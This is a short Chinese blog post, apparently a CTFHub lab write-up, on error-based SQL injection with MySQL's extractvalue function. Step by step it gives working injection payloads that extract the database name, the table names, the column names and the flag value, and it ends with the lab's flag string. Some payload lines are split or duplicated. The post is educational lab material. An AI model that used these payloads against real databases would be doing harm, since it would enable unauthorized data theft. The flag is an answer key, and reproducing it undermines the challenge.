（SQL初实践2）SQL报错注入

m0_64417923

于 2022-05-07 08:00:00 发布

阅读量360

点赞数 1

文章标签： sql 数据库 database

本文链接：https://blog.youkuaiyun.com/m0_64417923/article/details/124612455

版权

本文介绍了如何利用SQL的Extractvalue函数进行报错注入，详细讲解了从查询数据库名称、表名到字段名的过程，并最终揭示了flag。通过这个过程，读者可以深入理解SQL报错注入的原理。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

首先，Extractvalue函数对于“~”不能识别，“~”的ASCII码对应的是0x7e。

id=1 and extractv

1 and extractvalue(1,concat(0x7e,(select database())))

alue("anything",concat(0x7e,(select database())))#

得到数据库名称：sqli

1 union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="sqli")))

id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="flag")))

id=1 and extractvalue(1,concat(0x7e,(select flag from sqli.flag)))

补上}就搞定=）

ctfhub{d0725f6223ab8d3048eeeb81}